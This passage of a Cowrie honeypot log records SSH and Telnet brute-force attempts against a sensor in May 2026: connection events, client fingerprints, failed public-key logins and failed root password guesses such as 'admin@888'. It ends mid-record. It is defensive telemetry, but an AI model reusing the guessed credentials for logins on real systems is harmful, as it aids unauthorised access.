{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:a9:e5:d2:08:ae:ca:6f:74:2c:d7:17:bc:f1:34:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQOUgf8a8dDTh6bFnU8RB19oUgDX2QORltTp9WK07xBhk/GOKYwAhsTHJGefFCsKkVxEz2gJsODaTgO0uvqvr4hGk1qnRfvSsfrlhJeqvD3EEm+M+t3MnFbijTytNtRjYPby0BJ7LgTFCGP+UZb2WojG1x6jkCPdLMf4yK7S8vh9HgJUH43J6erMdR6K7iqDlQKDydhnhXgUTKgv72SXLGy+zxVHAsX4plcYw/eAkgrWoOpzpsYJbNmY2rMq/jEhWUsRq5m0A7YPFt5cwwfyMEcmFaHgYJbfR58Om10doWaq+RP2wtoo1k3AsZr2ixoUZ62FKgvRXsKZ4Jn5Ym4GEJQaaT8ICcAWmjM8i6ABfa81MaY/jk24jOPuxmD9nz4RygQFyV3QuRBMPE7bOvKGVf52WWhJL7vpbfdvIhiRwlgcTMSEnJ0hr8H8Rtb/Bw7zqAPrKVMysI/x/PPAVsFS6rDAdLfD+vV8axz6J7VFDqsLjtrlA0pNcsomq4YMH3vtSVXuQs2SOi8FgOepxp5PE0SJipEfYrbZGrTG766pDoAAwZxjtGnk216C+YOIsDgRTP3FWrHWohO+1jwKwDkJaLXB+BvNtnNIvhMaR2C1jzC1g67jJB6M1brRNtsl5I8Y2nEmZK5rczRDhCTfpFB4Fwjc1/+1p6SwU5cs7Z273SVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.499220Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:67:07:4a:04:49:ab:73:c5:56:70:27:46:1f:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnblaLVLaUbj/kbhff444j2/Hejnp1ajBRdUNz/o4CSDV23n/lrLhQTfnJczwc0BTRJM8Ww1rFvpB9EAXGLieo4p9Ojy6Bk+daOy97kaThoe5Zd2sZjujQPXQLoAFGUsJmaG85IZBe1ryU0/U8T8GTq72qC9gOlmf4/FKbn9Eead8Gk4JFz1G6V6z0Yf2vw2pYJIU5wOV7nVJqCfKIjGam8X3SpnnshoqM3Xyvng2RSuLYj9vqcoXLSgxgMOxglTTLOKH79h7HN44Y1ieudZ6s6NtC5vmacFJHHZNCjhwMdGI/p1a1oy7K8gI78CoPH5y/DBai+3o/15yjbnfD9i0RwEdkD3rRnsSdEyp2eEXClY/R0QUdZGxcHtmUrFWnc8zgRgBUrFdGionzGfQHY11+aXa+CdgbsuPcFO9Pk71vQ6OeVjgKFPRi2FdqWkjk4mqnNF4LA2dlTAfCMwJ23xTIHr6+3dreYLQXHir5IyMFk1WgsLD+rJWj0WK0FB8zFR4cGEilMip6z7yA+NUKDzHzq5jCmChaREbHnFnjtELOKaaYrv+9dsX3NysQgqY5jegWxXYE2ZRFy6v/J2yhvLKvDzcS7ZdLU/vx8SWwIZtxBzSnXFZJbP9v3WX7ijpVtGkpeSr59C/1Ay1W8iiCqY9zDoN/H5abflIou08PMP1c5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:67:07:4a:04:49:ab:73:c5:56:70:27:46:1f:28:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.528939Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:67:07:4a:04:49:ab:73:c5:56:70:27:46:1f:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnblaLVLaUbj/kbhff444j2/Hejnp1ajBRdUNz/o4CSDV23n/lrLhQTfnJczwc0BTRJM8Ww1rFvpB9EAXGLieo4p9Ojy6Bk+daOy97kaThoe5Zd2sZjujQPXQLoAFGUsJmaG85IZBe1ryU0/U8T8GTq72qC9gOlmf4/FKbn9Eead8Gk4JFz1G6V6z0Yf2vw2pYJIU5wOV7nVJqCfKIjGam8X3SpnnshoqM3Xyvng2RSuLYj9vqcoXLSgxgMOxglTTLOKH79h7HN44Y1ieudZ6s6NtC5vmacFJHHZNCjhwMdGI/p1a1oy7K8gI78CoPH5y/DBai+3o/15yjbnfD9i0RwEdkD3rRnsSdEyp2eEXClY/R0QUdZGxcHtmUrFWnc8zgRgBUrFdGionzGfQHY11+aXa+CdgbsuPcFO9Pk71vQ6OeVjgKFPRi2FdqWkjk4mqnNF4LA2dlTAfCMwJ23xTIHr6+3dreYLQXHir5IyMFk1WgsLD+rJWj0WK0FB8zFR4cGEilMip6z7yA+NUKDzHzq5jCmChaREbHnFnjtELOKaaYrv+9dsX3NysQgqY5jegWxXYE2ZRFy6v/J2yhvLKvDzcS7ZdLU/vx8SWwIZtxBzSnXFZJbP9v3WX7ijpVtGkpeSr59C/1Ay1W8iiCqY9zDoN/H5abflIou08PMP1c5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.533118Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:a7:fa:21:33:5c:36:bd:c1:a1:51:2c:26:d5:5c:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYeSXe9EHVqjPsQ3DGXUG4hJBZmA61vebB4LaLWynmNteXQ1R70RBEmFk2SpSpSNfMv1C91t5mhBFEeKbzKj9IMpbYhx/mqJ1EgH4uCqVoAFoqJ4MZ34hB9wQr4tLgCFpuwpRCm08sPAHy2j8YOscfzgBEOxCSW3FN1BPN0FhYFh+XTeXkvfJWZ8ji0B4KirLXEcFn3UtdF44BHTZz4qyU/o32wxdR+4sbLxSwCBj5RKEz+y+ujV1zZ8GCRLoO1/nRTJPkFdwYnQ6Cd/Yp+j9kmJtoFQUkA+xaC2R8KRI03R2QTdc+8kACVnqGkHzVZoEGV+CtrfNeGUPZRTH+lQMatcnNMZHkKcwo0m/9j1GXW/bGs3d8i0dLabqES7elJeRNes7Ki0JjatISpN0rQapfJYYXpyoBSqTeGFMH0UtBHFhjqumgURH4rfHuu2aemYUTDenV79h/BiJLAMCgls8TL42/IuqXJVu8Ca8JRk73G4XknmcDHSTALQ0j7pHr0ZdTJEAOmqKrWbpI51+IEJbyAJl6njjGO00v5ZM2O6QGmh2IdS3E+Y9D3ioL5rqPa5zj3NLgVgWWVKxUuTEvYVE6GfshbrESiaFrk+aeFp23YpBvBkWa6a9bz+ESC4nB5TpQV1AJ60H0Vam7mpkkwum3sEfOVKHPHYFFUeDmC74hYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:a7:fa:21:33:5c:36:bd:c1:a1:51:2c:26:d5:5c:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.564869Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:a7:fa:21:33:5c:36:bd:c1:a1:51:2c:26:d5:5c:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYeSXe9EHVqjPsQ3DGXUG4hJBZmA61vebB4LaLWynmNteXQ1R70RBEmFk2SpSpSNfMv1C91t5mhBFEeKbzKj9IMpbYhx/mqJ1EgH4uCqVoAFoqJ4MZ34hB9wQr4tLgCFpuwpRCm08sPAHy2j8YOscfzgBEOxCSW3FN1BPN0FhYFh+XTeXkvfJWZ8ji0B4KirLXEcFn3UtdF44BHTZz4qyU/o32wxdR+4sbLxSwCBj5RKEz+y+ujV1zZ8GCRLoO1/nRTJPkFdwYnQ6Cd/Yp+j9kmJtoFQUkA+xaC2R8KRI03R2QTdc+8kACVnqGkHzVZoEGV+CtrfNeGUPZRTH+lQMatcnNMZHkKcwo0m/9j1GXW/bGs3d8i0dLabqES7elJeRNes7Ki0JjatISpN0rQapfJYYXpyoBSqTeGFMH0UtBHFhjqumgURH4rfHuu2aemYUTDenV79h/BiJLAMCgls8TL42/IuqXJVu8Ca8JRk73G4XknmcDHSTALQ0j7pHr0ZdTJEAOmqKrWbpI51+IEJbyAJl6njjGO00v5ZM2O6QGmh2IdS3E+Y9D3ioL5rqPa5zj3NLgVgWWVKxUuTEvYVE6GfshbrESiaFrk+aeFp23YpBvBkWa6a9bz+ESC4nB5TpQV1AJ60H0Vam7mpkkwum3sEfOVKHPHYFFUeDmC74hYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.568283Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:de:09:00:dc:c7:92:b8:7f:c7:82:2c:c7:b5:64:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDx0ZSzI2pyUxoSPOyb1tlQT3J8mE8vx3zWOX3R02cbCHWZheaSkRdCTC5sMtL8oTUESbiPXW/Lmbgt00JTSw0COevO1vevCNDp+Kd/puJ6viUqwPgsomseqhGJCiR7PDybVESs5+SZh9Bv7dhGhlMHV4uNPbqf+l2TG5/B0/SZZynRRUKBGvDUj7f48lcPPnFENHIOMuGR+oHtThNSoxVAUq4QZbD+gh9XOibKdxEd7L05jSirqmayDRH0Vc850PXLyvqEP99R7N4MAtq2bLIHOs7oudKvQHacqpLf46QXnpY2TqElmSAfC+4QlNNnljpQwjdmR/XEkfKzLNHcRq0otULkn/hLSUqEZQaJ5ottBRaWmuIs9SDb/3wptdstVOKLUEHjmxM74FBsuZukY/GmcbYDPgPrqOIt3t2eyNSvCPQSNEUWCspZUIbqr7UBvt4TUu8emp4JWY6pWliVkTHqqBQ3nFzIx5mvXANiWL1v8Vh7jguvf9ZsTAUNTLUU+Mw/kLMYUftXDMvYzHK9VSoI6dTTlx90Q0GDYx77fwsPGgSV6w2CnFl4A339VgCQzMuSymuN/3mKN2Xui18s+va3hClEOtFnQj4rEmfNBHM1uDtY9jZf2RGGyYBxh7qGS/thbN1i9PIGTTtq+ke+BGAlVDM0fkRFg5aD3BIlBE8JvQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:de:09:00:dc:c7:92:b8:7f:c7:82:2c:c7:b5:64:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.599035Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:de:09:00:dc:c7:92:b8:7f:c7:82:2c:c7:b5:64:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDx0ZSzI2pyUxoSPOyb1tlQT3J8mE8vx3zWOX3R02cbCHWZheaSkRdCTC5sMtL8oTUESbiPXW/Lmbgt00JTSw0COevO1vevCNDp+Kd/puJ6viUqwPgsomseqhGJCiR7PDybVESs5+SZh9Bv7dhGhlMHV4uNPbqf+l2TG5/B0/SZZynRRUKBGvDUj7f48lcPPnFENHIOMuGR+oHtThNSoxVAUq4QZbD+gh9XOibKdxEd7L05jSirqmayDRH0Vc850PXLyvqEP99R7N4MAtq2bLIHOs7oudKvQHacqpLf46QXnpY2TqElmSAfC+4QlNNnljpQwjdmR/XEkfKzLNHcRq0otULkn/hLSUqEZQaJ5ottBRaWmuIs9SDb/3wptdstVOKLUEHjmxM74FBsuZukY/GmcbYDPgPrqOIt3t2eyNSvCPQSNEUWCspZUIbqr7UBvt4TUu8emp4JWY6pWliVkTHqqBQ3nFzIx5mvXANiWL1v8Vh7jguvf9ZsTAUNTLUU+Mw/kLMYUftXDMvYzHK9VSoI6dTTlx90Q0GDYx77fwsPGgSV6w2CnFl4A339VgCQzMuSymuN/3mKN2Xui18s+va3hClEOtFnQj4rEmfNBHM1uDtY9jZf2RGGyYBxh7qGS/thbN1i9PIGTTtq+ke+BGAlVDM0fkRFg5aD3BIlBE8JvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.603030Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:50:57.637520Z","src_ip":"69.175.92.29","session":"e9f876e8cf29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.52444577217102,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:07.949202Z","src_ip":"167.61.247.180","session":"a45f9c3e637e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":40202,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b946dff7eb6","protocol":"ssh","message":"New connection: 62.173.38.229:40202 (10.17.0.5:22) [session: 5b946dff7eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:18.820861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:18.824711Z","src_ip":"62.173.38.229","session":"5b946dff7eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:18.999775Z","src_ip":"62.173.38.229","session":"5b946dff7eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:19.812108Z","src_ip":"62.173.38.229","session":"5b946dff7eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:21.044267Z","src_ip":"62.173.38.229","session":"5b946dff7eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":55622,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca80ca146d3f","protocol":"ssh","message":"New connection: 45.66.52.41:55622 (10.17.0.5:22) [session: ca80ca146d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:21.104264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:21.110039Z","src_ip":"45.66.52.41","session":"ca80ca146d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:21.280139Z","src_ip":"45.66.52.41","session":"ca80ca146d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@888","message":"login attempt [root/admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:22.211379Z","src_ip":"45.66.52.41","session":"ca80ca146d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:23.388106Z","src_ip":"45.66.52.41","session":"ca80ca146d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":34252,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcaaa4b9d343","protocol":"ssh","message":"New connection: 181.188.176.245:34252 (10.17.0.5:22) [session: bcaaa4b9d343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:35.389972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:35.395023Z","src_ip":"181.188.176.245","session":"bcaaa4b9d343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:35.556850Z","src_ip":"181.188.176.245","session":"bcaaa4b9d343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321","message":"login attempt [root/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:36.238081Z","src_ip":"181.188.176.245","session":"bcaaa4b9d343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:37.403451Z","src_ip":"181.188.176.245","session":"bcaaa4b9d343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53520,"dst_ip":"10.17.0.5","dst_port":22,"session":"577a75951ea0","protocol":"ssh","message":"New connection: 80.94.92.184:53520 (10.17.0.5:22) [session: 577a75951ea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:47.519525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:47.658763Z","src_ip":"80.94.92.184","session":"577a75951ea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:47.736490Z","src_ip":"80.94.92.184","session":"577a75951ea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456.cn","message":"login attempt [solv/123456.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:48.809205Z","src_ip":"80.94.92.184","session":"577a75951ea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:50.027090Z","src_ip":"80.94.92.184","session":"577a75951ea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":54792,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d236cca613","protocol":"ssh","message":"New connection: 43.128.102.61:54792 (10.17.0.5:22) [session: 97d236cca613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:54.871655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:54.878039Z","src_ip":"43.128.102.61","session":"97d236cca613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 